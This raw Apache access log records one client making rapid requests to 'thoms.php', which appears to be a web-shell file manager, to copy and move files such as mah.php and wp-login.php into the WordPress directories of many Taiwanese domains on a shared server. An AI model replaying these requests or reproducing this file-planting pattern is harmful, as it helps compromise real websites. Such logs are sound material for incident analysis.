45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17431 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17603 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 12402 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17615 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 16427 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 12858 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11328 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17732 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p= HTTP/1.1" 200 12398 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17735 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22638 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22605 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22604 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
